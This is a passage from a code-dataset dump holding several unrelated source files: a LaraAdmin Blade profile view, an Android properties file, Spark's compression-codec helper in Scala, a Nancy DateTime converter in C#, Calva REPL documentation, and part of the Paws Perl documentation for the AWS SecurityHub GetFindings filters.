12</div>\n\t\t\t\t\t\t<div class=\"col-md-4\"><i class=\"fa fa-instagram\"></i> 89</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<p class=\"desc\">Test Description in one line</p>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"col-md-3\">\n\t\t\t<div class=\"dats1\"><div class=\"label2\">Admin</div></div>\n\t\t\t<div class=\"dats1\"><i class=\"fa fa-envelope-o\"></i> superadmin@gmail.com</div>\n\t\t\t<div class=\"dats1\"><i class=\"fa fa-map-marker\"></i> Pune, India</div>\n\t\t</div>\n\t\t<div class=\"col-md-4\">\n\t\t\t<!--\n\t\t\t<div class=\"teamview\">\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user1-128x128.jpg') }}\" alt=\"\"><i class=\"status-online\"></i></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user2-160x160.jpg') }}\" alt=\"\"></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user3-128x128.jpg') }}\" alt=\"\"></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user4-128x128.jpg') }}\" alt=\"\"><i class=\"status-online\"></i></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user5-128x128.jpg') }}\" alt=\"\"></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user6-128x128.jpg') }}\" alt=\"\"></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user7-128x128.jpg') }}\" alt=\"\"></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user8-128x128.jpg') }}\" alt=\"\"></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user5-128x128.jpg') }}\" alt=\"\"></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user6-128x128.jpg') }}\" alt=\"\"><i class=\"status-online\"></i></a>\n\t\t\t\t<a class=\"face\" data-toggle=\"tooltip\" data-placement=\"top\" title=\"John Doe\"><img src=\"{{ asset('la-assets/img/user7-128x128.jpg') }}\" alt=\"\"></a>\n\t\t\t</div>\n\t\t\t-->\n\t\t\t<div class=\"dats1 pb\">\n\t\t\t\t<div class=\"clearfix\">\n\t\t\t\t\t<span class=\"pull-left\">Task #1</span>\n\t\t\t\t\t<small class=\"pull-right\">20%</small>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"progress progress-xs active\">\n\t\t\t\t\t<div class=\"progress-bar progress-bar-warning progress-bar-striped\" style=\"width: 20%\" role=\"progressbar\" aria-valuenow=\"20\" aria-valuemin=\"0\" aria-valuemax=\"100\">\n\t\t\t\t\t\t<span class=\"sr-only\">20% Complete</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"dats1 pb\">\n\t\t\t\t<div class=\"clearfix\">\n\t\t\t\t\t<span class=\"pull-left\">Task #2</span>\n\t\t\t\t\t<small class=\"pull-right\">90%</small>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"progress progress-xs active\">\n\t\t\t\t\t<div class=\"progress-bar progress-bar-warning progress-bar-striped\" style=\"width: 90%\" role=\"progressbar\" aria-valuenow=\"90\" aria-valuemin=\"0\" aria-valuemax=\"100\">\n\t\t\t\t\t\t<span class=\"sr-only\">90% Complete</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"dats1 pb\">\n\t\t\t\t<div class=\"clearfix\">\n\t\t\t\t\t<span class=\"pull-left\">Task #3</span>\n\t\t\t\t\t<small class=\"pull-right\">60%</small>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"progress progress-xs active\">\n\t\t\t\t\t<div class=\"progress-bar progress-bar-warning progress-bar-striped\" style=\"width: 60%\" role=\"progressbar\" aria-valuenow=\"60\" aria-valuemin=\"0\" aria-valuemax=\"100\">\n\t\t\t\t\t\t<span class=\"sr-only\">60% Complete</span>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"col-md-1 actions\">\n\t\t\t@la_access(\"Organizations\", \"edit\")\n\t\t\t\t<a href=\"{{ url(config('laraadmin.adminRoute') . '/organizations/'.$organization->id.'/edit') }}\" class=\"btn btn-xs btn-edit btn-default\"><i class=\"fa fa-pencil\"></i></a><br>\n\t\t\t@endla_access\n\t\t\t\n\t\t\t@la_access(\"Organizations\", \"delete\")\n\t\t\t\t{{ Form::open(['route' => [config('laraadmin.adminRoute') . '.organizations.destroy', $organization->id], 'method' => 'delete', 'style'=>'display:inline']) }}\n\t\t\t\t\t<button class=\"btn btn-default btn-delete btn-xs\" type=\"submit\"><i class=\"fa fa-times\"></i></button>\n\t\t\t\t{{ Form::close() }}\n\t\t\t@endla_access\n\t\t</div>\n\t</div>\n\n\t<ul data-toggle=\"ajax-tab\" class=\"nav nav-tabs profile\" role=\"tablist\">\n\t\t<li class=\"\"><a href=\"{{ url(config('laraadmin.adminRoute') . '/organizations') }}\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"Back to Organizations\"><i class=\"fa fa-chevron-left\"></i></a></li>\n\t\t<li class=\"active\"><a role=\"tab\" data-toggle=\"tab\" class=\"active\" href=\"#tab-general-info\" data-target=\"#tab-info\"><i class=\"fa fa-bars\"></i> General Info</a></li>\n\t\t<li class=\"\"><a role=\"tab\" data-toggle=\"tab\" href=\"#tab-timeline\" data-target=\"#tab-timeline\"><i class=\"fa fa-clock-o\"></i> Timeline</a></li>\n\t</ul>\n\n\t<div class=\"tab-content\">\n\t\t<div role=\"tabpanel\" class=\"tab-pane active fade in\" id=\"tab-info\">\n\t\t\t<div class=\"tab-content\">\n\t\t\t\t<div class=\"panel infolist\">\n\t\t\t\t\t<div class=\"panel-default panel-heading\">\n\t\t\t\t\t\t<h4>General Info</h4>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"panel-body\">\n\t\t\t\t\t\t@la_display($module, 'name')\n\t\t\t\t\t\t@la_display($module, 'email')\n\t\t\t\t\t\t@la_display($module, 'phone')\n\t\t\t\t\t\t@la_display($module, 'website')\n\t\t\t\t\t\t@la_display($module, 'assigned_to')\n\t\t\t\t\t\t@la_display($module, 'connected_since')\n\t\t\t\t\t\t@la_display($module, 'address')\n\t\t\t\t\t\t@la_display($module, 'city')\n\t\t\t\t\t\t@la_display($module, 'description')\n\t\t\t\t\t\t@la_display($module, 'profile_image')\n\t\t\t\t\t\t@la_display($module, 'profile')\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div role=\"tabpanel\" class=\"tab-pane fade in p20 bg-white\" id=\"tab-timeline\">\n\t\t\t<ul class=\"timeline timeline-inverse\">\n\t\t\t\t<!-- timeline time label -->\n\t\t\t\t<li class=\"time-label\">\n\t\t\t\t\t<span class=\"bg-red\">\n\t\t\t\t\t\t10 Feb. 2014\n\t\t\t\t\t</span>\n\t\t\t\t</li>\n\t\t\t\t<!-- /.timeline-label -->\n\t\t\t\t<!-- timeline item -->\n\t\t\t\t<li>\n\t\t\t\t<i class=\"fa fa-envelope bg-blue\"></i>\n\n\t\t\t\t<div class=\"timeline-item\">\n\t\t\t\t\t<span class=\"time\"><i class=\"fa fa-clock-o\"></i> 12:05</span>\n\n\t\t\t\t\t<h3 class=\"timeline-header\"><a href=\"#\">Support Team</a> sent you an email</h3>\n\n\t\t\t\t\t<div class=\"timeline-body\">\n\t\t\t\t\tEtsy doostang zoodles disqus groupon greplin oooj voxy zoodles,\n\t\t\t\t\tweebly ning heekya handango imeem plugg dopplr jibjab, movity\n\t\t\t\t\tjajah plickers sifteo edmodo ifttt zimbra. Babblely odeo kaboodle\n\t\t\t\t\tquora plaxo ideeli hulu weebly balihoo...\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"timeline-footer\">\n\t\t\t\t\t<a class=\"btn btn-primary btn-xs\">Read more</a>\n\t\t\t\t\t<a class=\"btn btn-danger btn-xs\">Delete</a>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t</li>\n\t\t\t\t<!-- END timeline item -->\n\t\t\t\t<!-- timeline item -->\n\t\t\t\t<li>\n\t\t\t\t<i class=\"fa fa-user bg-aqua\"></i>\n\n\t\t\t\t<div class=\"timeline-item\">\n\t\t\t\t\t<span class=\"time\"><i class=\"fa fa-clock-o\"></i> 5 mins ago</span>\n\n\t\t\t\t\t<h3 class=\"timeline-header no-border\"><a href=\"#\">Sarah Young</a> accepted your friend request\n\t\t\t\t\t</h3>\n\t\t\t\t</div>\n\t\t\t\t</li>\n\t\t\t\t<!-- END timeline item -->\n\t\t\t\t<!-- timeline item -->\n\t\t\t\t<li>\n\t\t\t\t<i class=\"fa fa-comments bg-yellow\"></i>\n\n\t\t\t\t<div class=\"timeline-item\">\n\t\t\t\t\t<span class=\"time\"><i class=\"fa fa-clock-o\"></i> 27 mins ago</span>\n\n\t\t\t\t\t<h3 class=\"timeline-header\"><a href=\"#\">Jay White</a> commented on your post</h3>\n\n\t\t\t\t\t<div class=\"timeline-body\">\n\t\t\t\t\tTake me to your leader!\n\t\t\t\t\tSwitzerland is small and neutral!\n\t\t\t\t\tWe are more like Germany, ambitious and misunderstood!\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"timeline-footer\">\n\t\t\t\t\t<a class=\"btn btn-warning btn-flat btn-xs\">View comment</a>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t</li>\n\t\t\t\t<!-- END timeline item -->\n\t\t\t\t<!-- timeline time label -->\n\t\t\t\t<li class=\"time-label\">\n\t\t\t\t\t<span class=\"bg-green\">\n\t\t\t\t\t\t3 Jan. 2014\n\t\t\t\t\t</span>\n\t\t\t\t</li>\n\t\t\t\t<!-- /.timeline-label -->\n\t\t\t\t<!-- timeline item -->\n\t\t\t\t<li>\n\t\t\t\t<i class=\"fa fa-camera bg-purple\"></i>\n\n\t\t\t\t<div class=\"timeline-item\">\n\t\t\t\t\t<span class=\"time\"><i class=\"fa fa-clock-o\"></i> 2 days ago</span>\n\n\t\t\t\t\t<h3 class=\"timeline-header\"><a href=\"#\">Mina Lee</a> uploaded new photos</h3>\n\n\t\t\t\t\t<div class=\"timeline-body\">\n\t\t\t\t\t<img src=\"http://placehold.it/150x100\" alt=\"...\" class=\"margin\">\n\t\t\t\t\t<img src=\"http://placehold.it/150x100\" alt=\"...\" class=\"margin\">\n\t\t\t\t\t<img src=\"http://placehold.it/150x100\" alt=\"...\" class=\"margin\">\n\t\t\t\t\t<img src=\"http://placehold.it/150x100\" alt=\"...\" class=\"margin\">\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t</li>\n\t\t\t\t<!-- END timeline item -->\n\t\t\t\t<li>\n\t\t\t\t<i class=\"fa fa-clock-o bg-gray\"></i>\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t\t<!--<div class=\"text-center p30\"><i class=\"fa fa-list-alt\" style=\"font-size: 100px;\"></i> <br> No posts to show</div>-->\n\t\t</div>\n\t\t\n\t</div>\n\t</div>\n\t</div>\n</div>\n@endsection\n"} {"text": "# This file is automatically generated by Android Tools.\n# Do not modify this file -- YOUR CHANGES WILL BE ERASED!\n#\n# This file must be checked in Version Control Systems.\n#\n# To customize properties used by the Ant build system use,\n# \"build.properties\", and override values to adapt the script to your\n# project structure.\n\n# Project target.\ntarget=android-10\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.spark.sql.catalyst.util\n\nimport org.apache.hadoop.conf.Configuration\nimport org.apache.hadoop.io.SequenceFile.CompressionType\nimport org.apache.hadoop.io.compress._\n\nimport org.apache.spark.util.Utils\n\nobject CompressionCodecs {\n private val shortCompressionCodecNames = Map(\n \"none\" -> null,\n \"uncompressed\" -> null,\n \"bzip2\" -> classOf[BZip2Codec].getName,\n \"deflate\" -> classOf[DeflateCodec].getName,\n \"gzip\" -> classOf[GzipCodec].getName,\n \"lz4\" -> classOf[Lz4Codec].getName,\n \"snappy\" -> classOf[SnappyCodec].getName)\n\n /**\n * Return the full version of the given codec class.\n * If it is already a class name, just return it.\n */\n def getCodecClassName(name: String): String = {\n val codecName = shortCompressionCodecNames.getOrElse(name.toLowerCase, name)\n try {\n // Validate the codec name\n if (codecName != null) {\n Utils.classForName(codecName)\n }\n codecName\n } catch {\n case e: ClassNotFoundException =>\n throw new IllegalArgumentException(s\"Codec [$codecName] \" +\n s\"is not available. Known codecs are ${shortCompressionCodecNames.keys.mkString(\", \")}.\")\n }\n }\n\n /**\n * Set compression configurations to Hadoop `Configuration`.\n * `codec` should be a full class path\n */\n def setCodecConfiguration(conf: Configuration, codec: String): Unit = {\n if (codec != null) {\n conf.set(\"mapreduce.output.fileoutputformat.compress\", \"true\")\n conf.set(\"mapreduce.output.fileoutputformat.compress.type\", CompressionType.BLOCK.toString)\n conf.set(\"mapreduce.output.fileoutputformat.compress.codec\", codec)\n conf.set(\"mapreduce.map.output.compress\", \"true\")\n conf.set(\"mapreduce.map.output.compress.codec\", codec)\n } else {\n // This infers the option `compression` is set to `uncompressed` or `none`.\n conf.set(\"mapreduce.output.fileoutputformat.compress\", \"false\")\n conf.set(\"mapreduce.map.output.compress\", \"false\")\n }\n }\n}\n"} {"text": "namespace Nancy.ModelBinding.DefaultConverters\r\n{\r\n using System;\r\n\r\n /// <summary>\r\n /// Converter for datetime types\r\n /// </summary>\r\n public class DateTimeConverter : ITypeConverter\r\n {\r\n /// <summary>\r\n /// Whether the converter can convert to the destination type\r\n /// </summary>\r\n /// <param name=\"destinationType\">Destination type</param>\r\n /// <param name=\"context\">The current binding context</param>\r\n /// <returns>True if conversion supported, false otherwise</returns>\r\n public bool CanConvertTo(Type destinationType, BindingContext context)\r\n {\r\n return destinationType == typeof(DateTime);\r\n }\r\n\r\n /// <summary>\r\n /// Convert the string representation to the destination type\r\n /// </summary>\r\n /// <param name=\"input\">Input string</param>\r\n /// <param name=\"destinationType\">Destination type</param>\r\n /// <param name=\"context\">Current context</param>\r\n /// <returns>Converted object of the destination type</returns>\r\n public object Convert(string input, Type destinationType, BindingContext context)\r\n {\r\n if (string.IsNullOrEmpty(input))\r\n {\r\n return null;\r\n }\r\n\r\n return System.Convert.ChangeType(input, destinationType, context.Context.Culture);\r\n }\r\n }\r\n}\r\n"} {"text": "# Something to Try First (After Connecting)\n\nYou should start with loading the file you are working with. Do this with **Load Current File and Dependencies**, `ctrl+alt+c enter`.\n\nTo get a feeling for evaluating code in the editor and get immediate response from the REPL try this:\n\n* On a new line, type a `comment` form and put some code inside it:\n\n```clojure\n(comment\n (+ (* 2 2)\n 2)\n (Math/abs -1)\n (hello \"Calva REPL\")\n (defn hello [s]\n (str \"Hello \" s))\n (range 10)\n \"I ♥️ Clojure\")\n```\n\nThen:\n\n1. Place the cursor behind the form `(* 2 2)` and issue the command **Calva: Evaluate Current Form**, `ctrl+enter`.\n * You should see the result being displayed inline. Press `esc` to dismiss it.\n1. Now issue the command **Evaluate Current Top Level Form (defun)**, `alt+enter`.\n * You should see the whole form `(+ (* 2 2) 2)` getting highlighted and the result of that expression being displayed inline.\n1. Evaluate each form inside the comment form using the **Top Level** command.\n * You should see each one of them evaluated.\n * Evaluating the `(hello \"Calva REPL\")` form before the `(defn hello...` form should result in an error/exception. A stacktrace is then printed in the [output window](output.md)\n * Try it again after having evaluated the `defn`form.\n\nDemo:\n\n![Comment top level form evaluation!](images/howto/top-level-comment-eval.gif)\n\n## How does this work?\n\nCalva has this notion about the **current form**. Issue the **Evaluate Current Form** command, with the cursor placed in different locations to get a feeling for how the current form is determined.\n\nThere is also a concept about the **current top level form**. Good for evaluating various `def`s `defn`, `defthis`, `defthat`. With your cursor placed anywhere inside such a form.\n\nThe Top Level command also works inside `(comment ...)` forms, treating the `comment` as creating a new top level context. It is good for in-file code experimentation.\n\n## See also\n\n* [Calva Top 10 Commands](commands-top10.md).\n* [Code Evaluation Tips](eval-tips.md)\n"} {"text": "\npackage Paws::SecurityHub::GetFindings;\n use Moose;\n has Filters => (is => 'ro', isa => 'Paws::SecurityHub::AwsSecurityFindingFilters');\n has MaxResults => (is => 'ro', isa => 'Int');\n has NextToken => (is => 'ro', isa => 'Str');\n has SortCriteria => (is => 'ro', isa => 'ArrayRef[Paws::SecurityHub::SortCriterion]');\n\n use MooseX::ClassAttribute;\n\n class_has _api_call => (isa => 'Str', is => 'ro', default => 'GetFindings');\n class_has _api_uri => (isa => 'Str', is => 'ro', default => '/findings');\n class_has _api_method => (isa => 'Str', is => 'ro', default => 'POST');\n class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::SecurityHub::GetFindingsResponse');\n1;\n\n### main pod documentation begin ###\n\n=head1 NAME\n\nPaws::SecurityHub::GetFindings - Arguments for method GetFindings on L<Paws::SecurityHub>\n\n=head1 DESCRIPTION\n\nThis class represents the parameters used for calling the method GetFindings on the\nL<AWS SecurityHub|Paws::SecurityHub> service. Use the attributes of this class\nas arguments to method GetFindings.\n\nYou shouldn't make instances of this class. Each attribute should be used as a named argument in the call to GetFindings.\n\n=head1 SYNOPSIS\n\n my $securityhub = Paws->service('SecurityHub');\n my $GetFindingsResponse = $securityhub->GetFindings(\n Filters => {\n AwsAccountId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n CompanyName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ComplianceStatus => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n Confidence => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n CreatedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n Criticality => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n Description => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n FirstObservedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n GeneratorId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n Id => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n Keyword => [\n {\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n LastObservedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n MalwareName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n MalwarePath => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n MalwareState => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n MalwareType => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkDestinationDomain => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkDestinationIpV4 => [\n {\n Cidr => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkDestinationIpV6 => [\n {\n Cidr => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkDestinationPort => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkDirection => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkProtocol => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkSourceDomain => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkSourceIpV4 => [\n {\n Cidr => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkSourceIpV6 => [\n {\n Cidr => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkSourceMac => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NetworkSourcePort => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NoteText => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NoteUpdatedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n NoteUpdatedBy => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProcessLaunchedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProcessName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProcessParentPid => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProcessPath => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProcessPid => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProcessTerminatedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProductArn => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProductFields => [\n {\n Comparison => 'EQUALS', # values: EQUALS; OPTIONAL\n Key => 'MyNonEmptyString', # OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ProductName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n RecommendationText => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n RecordState => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n RelatedFindingsId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n RelatedFindingsProductArn => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceIamInstanceProfileArn => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceImageId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceIpV4Addresses => [\n {\n Cidr => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceIpV6Addresses => [\n {\n Cidr => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceKeyName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceLaunchedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceSubnetId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceType => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsEc2InstanceVpcId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsIamAccessKeyCreatedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsIamAccessKeyStatus => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsIamAccessKeyUserName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsS3BucketOwnerId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceAwsS3BucketOwnerName => [\n 